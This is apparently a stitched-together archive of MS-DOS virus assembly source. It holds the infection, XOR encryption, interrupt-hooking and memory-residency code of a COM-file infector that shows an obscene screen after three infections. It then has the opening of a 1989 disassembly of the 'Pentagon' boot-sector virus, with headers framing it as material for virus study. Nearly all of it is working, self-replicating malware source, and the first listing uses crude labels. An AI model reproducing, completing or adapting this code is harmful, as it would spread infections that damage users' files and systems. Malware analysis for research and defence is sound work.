DB ' ',0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,'±',96,'°',96,'°',96,' ',96,'ß',96,'Û'
|
||||
DB 96,'Û',96,'Û',96,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü'
|
||||
DB 15,'Ü',15,'Ü',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',96,' ',96,' ',96
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',96,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
|
||||
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,'±',96
|
||||
DB '±',96,'°',96,'°',96,' ',96,'Û',96,'Û',96,'Ü',15,'Ü',15
|
||||
DB 'Ü',15,'Û',15,'Û',15,'Û',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB 'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,' ',15
|
||||
DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103,'Ä',96
|
||||
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
|
||||
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
|
||||
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
|
||||
DB '±',96,'±',96,'°',96,'°',96,' ',96,'Û',96,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,'ß',15,'ß',15,'ß',15,' ',15,' ',15
|
||||
DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',96,' ',103,' ',103,' ',96,' ',96,' ',103,'ß',96
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,'Ü',96,'Ü',96,'Ü',96,'Û',96,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',103,' ',103,' ',103,'°',96,'°',96,'°',96,' '
|
||||
DB 103,'ß',96,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',103,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103
|
||||
DB 'Ü',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,'Ü',96,' ',103,' ',103,' ',103,'Ü',96,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
DB 0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
||||
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
|
||||
doggie DB 15,'Y',15,'O',15,'U',15,'R',15,' ',15,'F',15,'I',15,'L',15,'E'
|
||||
DB 15,' ',15,'H',15,'A',15,'S',15,' ',15,'J',15,'U',15,'S',15,'T'
|
||||
DB 15,' ',15,'B',15,'E',15,' ',15,'P',15,'E',15,'N',15,'I',15,'S'
|
||||
DB 15,'`',15,'I',15,'Z',15,'E',15,'D',15,' ',15,'C',15,'O',15,'M'
|
||||
DB 15,'P',15,'L',15,'E',15,'M',15,'E',15,'N',15,'T',15,'S',15,' '
|
||||
DB 15,'O',15,'F',15,' ',15,' ',15,' '
|
||||
DB 0,' ',0,' ',15,' ',15,' ',15,' '
|
||||
DB 03,'[',03,'Y',03,'A',03,'M'
|
||||
DB 03,']',03,'/',03,'9',03,'2'
|
||||
DB 03,' ',02,'-',04,'S',04,'.',04,'G',04,'R',04,'I',04,'S',04,'S'
|
||||
DB 04,' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
DB ' ',0,' ',0,' ',0,' ',0,' ',0
|
||||
;Actual program begins here
|
||||
|
||||
exec:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
|
||||
|
||||
mov ax,4300h ;get file attributes
|
||||
int 21h
|
||||
jc long_cock
|
||||
|
||||
and cl,0feh ;make it read/write
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
jc long_cock
|
||||
|
||||
|
||||
|
||||
infect:
|
||||
mov ax,3d02h
|
||||
int 21h
|
||||
jc long_cock
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,5h
|
||||
mov dx,(buffer-vstart) ;load in the first 5 bytes
|
||||
int 21h
|
||||
jc long_cock
|
||||
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
|
||||
je long_cock ;EXE
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)+3],42F2h
|
||||
je long_cock ;Check to see if F242 tag
|
||||
;if so then its infected
|
||||
jmp next
|
||||
|
||||
long_cock:
|
||||
jmp cocker2
|
||||
|
||||
next:
|
||||
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
|
||||
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
|
||||
mov word ptr cs:[(old_date-vstart)],dx ;and date
|
||||
|
||||
mov ax,4202h ;move file pointer to end
|
||||
xor cx,cx ;top get the files size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc long_cock
|
||||
mov cx,ax
|
||||
sub cx,3 ;sub 3 form jump at begining
|
||||
mov word ptr cs:[(jump_add+1-vstart)],cx;save length in jmp commmand
|
||||
|
||||
|
||||
mov cx,(old_21-old_8) ;number of bytes to encrypt before writing
|
||||
mov si,(old_8-vstart)
|
||||
call crypter
|
||||
|
||||
mov cx,(exec-data)
|
||||
mov si,(data-vstart)
|
||||
call crypter
|
||||
|
||||
|
||||
|
||||
mov ah,byte ptr cs:[(infect_times-vstart)]
|
||||
mov byte ptr cs:[(infect_times-vstart)],00h
|
||||
push ax
|
||||
|
||||
mov cx,(vend-vstart) ;write the virus to the end
|
||||
mov ah,40h ;of the file
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc cocker
|
||||
|
||||
pop ax
|
||||
inc ah
|
||||
mov byte ptr cs:[(infect_times-vstart)],ah ;counter
|
||||
|
||||
|
||||
mov cx,(exec-data)
|
||||
mov si,(data-vstart) ;decrypt data
|
||||
call crypter
|
||||
|
||||
mov cx,(old_21-old_8) ;number of bytes to decrypt after writing
|
||||
mov si,(old_8-vstart)
|
||||
call crypter
|
||||
|
||||
|
||||
mov ax,4200h ;move file pointer to the
|
||||
xor cx,cx ;begining to write the JMP
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
mov cx,5
|
||||
mov ah,40h ;write the JMP top the file
|
||||
mov dx,(jump_add-vstart)
|
||||
int 21h
|
||||
|
||||
jc cocker
|
||||
|
||||
mov ax,5701h
|
||||
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
|
||||
mov word ptr dx,cs:[(old_date-vstart)]
|
||||
|
||||
and cl,0e0H
|
||||
inc cl ;change seconds to 2
|
||||
int 21h
|
||||
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
|
||||
jmp show_dick
|
||||
cocker: jmp cocker2
|
||||
|
||||
|
||||
show_dick:
|
||||
|
||||
cmp byte ptr cs:[(infect_times-vstart)],03h
|
||||
jl cocker
|
||||
|
||||
|
||||
|
||||
mov ah,0fh ;get current video mode
|
||||
int 010h
|
||||
cmp al,7 ;is it a monochrome mode?
|
||||
jz mono ;yes
|
||||
mov ax,0B800h ;color text video segment
|
||||
jmp SHORT doit
|
||||
mono: mov ax, 0B000h ;monochrome text video segment
|
||||
doit: mov es,ax
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov si,data-vstart ;load destination offset
|
||||
xor di,di ;clear destination index counter
|
||||
mov cx,(exec-data+1)/2
|
||||
rep movsw ;write to video memory
|
||||
|
||||
mov ah,02h ;hide cursor
|
||||
mov bh,0 ;assume video page 0
|
||||
mov dx,1A00h ;moves cursor past bottom of screen
|
||||
int 010h
|
||||
|
||||
|
||||
lup: mov ah, 01h
|
||||
int 016h
|
||||
jz lup
|
||||
mov ah,0
|
||||
int 016h
|
||||
|
||||
;Clear the screen
|
||||
mov ah, 6 ;function 6 (scroll window up)
|
||||
mov al, 0 ;blank entire screen
|
||||
mov bh, 7 ;attribute to use
|
||||
mov ch, 0 ;starting row
|
||||
mov cl, 0 ;starting column
|
||||
mov dh, 25 ;ending row
|
||||
mov dl, 80 ;ending column
|
||||
int 10h ;call interrupt 10h
|
||||
|
||||
mov ah,02h ;puts cursor back where it belongs
|
||||
mov bh,0 ;assume video page 0
|
||||
mov dx,0
|
||||
int 010h
|
||||
|
||||
|
||||
|
||||
cocker2:pop ds
|
||||
pop es
|
||||
pop ds
|
||||
pop si ;go back to old int 21
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
jmp dword ptr cs:[(old_21-vstart)]
|
||||
|
||||
old_date dw 0
|
||||
old_time dw 0
|
||||
|
||||
|
||||
buffer: db 0cdh,20h,00
|
||||
buffer2 db 0,0
|
||||
infect_times: DB 0h
|
||||
jump_add: db 0E9h,00,00,0F2h,42h;
|
||||
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
|
||||
exit2: jmp exit
|
||||
crypter:
|
||||
push ax ;Encryptor Routine
|
||||
loo: mov ah,byte ptr cs:[si] ;move byte into ah
|
||||
xor ah,0AAh ;Xor it
|
||||
mov byte ptr cs:[si],ah ;write it back
|
||||
inc si
|
||||
loop loo
|
||||
pop ax
|
||||
ret
|
||||
|
||||
|
||||
load: mov ax,0f242h ; Check to see if we are
|
||||
int 21h ; allready resident
|
||||
cmp bx,0242fh ; looking for f242 tag
|
||||
je exit2
|
||||
|
||||
|
||||
mov cx,(old_21-old_9) ;number of bytes to decrypt
|
||||
mov si,offset old_9
|
||||
add si,bp
|
||||
call crypter
|
||||
|
||||
mov cx,(exec-data) ;number of bytes to decrypt
|
||||
mov si,offset data
|
||||
add si,bp
|
||||
call crypter
|
||||
|
||||
|
||||
dec_here:
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,49h ;Release current Memory block
|
||||
int 21h
|
||||
|
||||
mov ah,48h ;Request Hugh size of memory
|
||||
mov bx,0ffffh ;returns biggest size
|
||||
int 21h
|
||||
|
||||
|
||||
mov ah,4ah
|
||||
sub bx,(vend-vstart+15)/16+1 ;subtract virus size
|
||||
jc exit2
|
||||
int 21h
|
||||
|
||||
|
||||
mov ah,48h
|
||||
mov bx,(vend-vstart+15)/16 ;request last XXX pages
|
||||
int 21h ;allocate it to virus
|
||||
jc exit2
|
||||
|
||||
dec ax
|
||||
|
||||
push es
|
||||
|
||||
mov es,ax
|
||||
|
||||
mov byte ptr es:[0],'Z' ;make DOS the owner
|
||||
mov word ptr es:[1],8
|
||||
mov word ptr es:[3],(vend-vstart+15)/16 ;put size here
|
||||
sub word ptr es:[12h],(vend-vstart+15)/16 ;sub size from current
|
||||
;memory
|
||||
inc ax
|
||||
|
||||
|
||||
lea si,[bp+offset vstart] ;copy it to new memory block
|
||||
xor di,di
|
||||
mov es,ax
|
||||
mov cx,(vend-vstart+5)/2
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
lds ax,ds:[21h*4] ;swap vectors manually
|
||||
mov word ptr es:[old_21-vstart],ax
|
||||
mov word ptr es:[old_21-vstart+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[21h*4],(new_21-vstart)
|
||||
mov ds:[21h*4+2],es
|
||||
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
lds ax,ds:[9h*4]
|
||||
mov word ptr es:[old_9-vstart],ax
|
||||
mov word ptr es:[old_9-vstart+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[9h*4],(new_9-vstart)
|
||||
mov ds:[9h*4+2],es
|
||||
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
push ds
|
||||
lds ax,ds:[8h*4]
|
||||
mov word ptr es:[old_8-vstart],ax
|
||||
mov word ptr es:[old_8-vstart+2],ds
|
||||
pop ds
|
||||
mov word ptr ds:[8h*4],(new_8-vstart)
|
||||
mov ds:[8h*4+2],es
|
||||
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
|
||||
exit:
|
||||
push cs
|
||||
pop es
|
||||
|
||||
|
||||
; now got to copy it back......
|
||||
|
||||
|
||||
mov cx,5
|
||||
mov si,offset buffer ;copy it back and run original
|
||||
add si,bp ;program
|
||||
mov di,100h
|
||||
repne movsb
|
||||
|
||||
mov bp,100h
|
||||
jmp bp
|
||||
|
||||
|
||||
vend equ $
|
||||
|
||||
seg_a ends
|
||||
end start
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,989 @@
|
|||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
page 65,132
|
||||
title The 'Pentagon' Virus
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º British Computer Virus Research Centre º
|
||||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||||
; º º
|
||||
; º The 'Pentagon' Virus º
|
||||
; º Disassembled by Joe Hirst, March 1989 º
|
||||
; º º
|
||||
; º Copyright (c) Joe Hirst 1989. º
|
||||
; º º
|
||||
; º This listing is only to be made available to virus researchers º
|
||||
; º or software writers on a need-to-know basis. º
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||||
|
||||
; The code section between offsets 59H and C4H (which is normally
|
||||
; encrypted) appears to have been separately assemblied using A86.
|
||||
|
||||
; Virus is possibly an honorary term, at least for this sample,
|
||||
; as all attempts to run it have so far failed.
|
||||
|
||||
; This virus consists of a boot sector and two files.
|
||||
; The boot sector is a normal PCDOS 3.20 boot sector with three
|
||||
; changes:
|
||||
|
||||
; 1. The OEM name 'IBM' has been changed to 'HAL'.
|
||||
|
||||
; 2. The first part of the virus code overwrites 036H to 0C5H.
|
||||
|
||||
; 3. 100H-122H has been overwritten by a character string.
|
||||
|
||||
; The name of the first file is the hex character 0F9H. This file
|
||||
; contains the rest of the virus code followed by the original boot
|
||||
; sector.
|
||||
|
||||
; The name of the second file is PENTAGON.TXT. This file does not
|
||||
; appear to be used in any way or contain any meaningful data.
|
||||
|
||||
; Both files are created without the aid of DOS, and the first
|
||||
; file is accessed by its stored absolute location.
|
||||
|
||||
; Four different sections of the virus are separately encrypted:
|
||||
|
||||
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
|
||||
|
||||
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
|
||||
|
||||
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
|
||||
|
||||
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
|
||||
|
||||
SEG70 SEGMENT AT 70H
|
||||
ASSUME CS:SEG70
|
||||
EXIT:
|
||||
SEG70 ENDS
|
||||
|
||||
BOOT SEGMENT AT 0
|
||||
|
||||
ORG 413H
|
||||
BW0413 DW ?
|
||||
|
||||
ORG 417H
|
||||
BB0417 DB ?
|
||||
|
||||
ORG 51CH
|
||||
BW051C DW ?
|
||||
|
||||
ORG 7C0BH
|
||||
DW7C0B DW ?
|
||||
|
||||
ORG 7C18H
|
||||
DW7C18 DW ?
|
||||
DW7C1A DW ?
|
||||
|
||||
ORG 7C2AH
|
||||
DB7C2A DB ?
|
||||
|
||||
ORG 7C37H
|
||||
DW7C37 DW ?
|
||||
DW7C39 DW ?
|
||||
DB7C3B DB ?
|
||||
DB7C3C DB ?
|
||||
DW7C3D DW ?
|
||||
|
||||
ORG 7DB7H
|
||||
DB7DB7 DB ?
|
||||
|
||||
ORG 7DFDH
|
||||
DB7DFD DB ?
|
||||
|
||||
ORG 7E00H
|
||||
DW7E00 DW ? ; DW008F - Track and sector of rest of code
|
||||
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
|
||||
DW7E04 DW ? ; DW0093 - Segment address of virus
|
||||
|
||||
BOOT ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:CODE
|
||||
|
||||
IF1
|
||||
ORG 206H
|
||||
BP0095X LABEL NEAR
|
||||
ENDIF
|
||||
|
||||
ORG 0
|
||||
START: JMP BP0036
|
||||
|
||||
DB 'HAL 3.2'
|
||||
|
||||
DW 512 ; BPB001 - Bytes per sector
|
||||
DB 2 ; BPB002 - Sectors per allocation unit
|
||||
DW 1 ; BPB003 - Reserved sectors
|
||||
DB 2 ; BPB004 - Number of FATs
|
||||
DW 112 ; BPB005 - Number of root dir entries
|
||||
DW 720 ; BPB006 - Number of sectors
|
||||
DB 0FDH ; BPB007 - Media Descriptor
|
||||
DW 2 ; BPB008 - Number of sectors per FAT
|
||||
DW 9 ; BPB009 - Sectors per track
|
||||
DW 2 ; BPB010 - Number of heads
|
||||
DW 0 ; BPB011 - Number of hidden sectors (low order)
|
||||
BPB012 DW 0 ; Number of hidden sectors (high order)
|
||||
|
||||
DB 10 DUP (0)
|
||||
|
||||
HEADNO DB 0
|
||||
|
||||
; Interrupt 30 (1EH) - Disk parameter table
|
||||
|
||||
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
|
||||
|
||||
DB 1, 0
|
||||
|
||||
BP0036: CLI
|
||||
MOV AX,CS ; \ Set SS to CS
|
||||
MOV SS,AX ; /
|
||||
MOV SP,0F000H ; Set stack pointer
|
||||
MOV DS,AX ; Set DS to CS
|
||||
STI
|
||||
MOV BP,OFFSET BP0044+7C00H
|
||||
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
|
||||
NOP
|
||||
DW004A EQU THIS WORD
|
||||
MOV DH,0FCH ; Decryption key
|
||||
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||||
BP0052: XOR [BP+00],DH ; Decrypt a byte
|
||||
INC BP ; Next byte
|
||||
LOOP BP0052 ; Repeat for all of it
|
||||
NOP
|
||||
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
|
||||
MOV AX,BW0413 ; Get RAM size in K
|
||||
SUB AX,0005 ; Subtract five K
|
||||
MOV BW0413,AX ; Replace amended RAM size
|
||||
MOV CL,06 ; Bits to move
|
||||
SHL AX,CL ; Convert to segment address
|
||||
MOV DW0093+7C00H,AX ; Save segment address
|
||||
NOP
|
||||
MOV ES,AX ; Set ES to this segment
|
||||
XOR DI,DI ; Move to start
|
||||
MOV SI,7C00H ; From start of boot sector buffer
|
||||
MOV CX,0200H ; Move one sector
|
||||
CLD
|
||||
REPZ MOVSB ; Move sector to high-core
|
||||
NOP
|
||||
|
||||
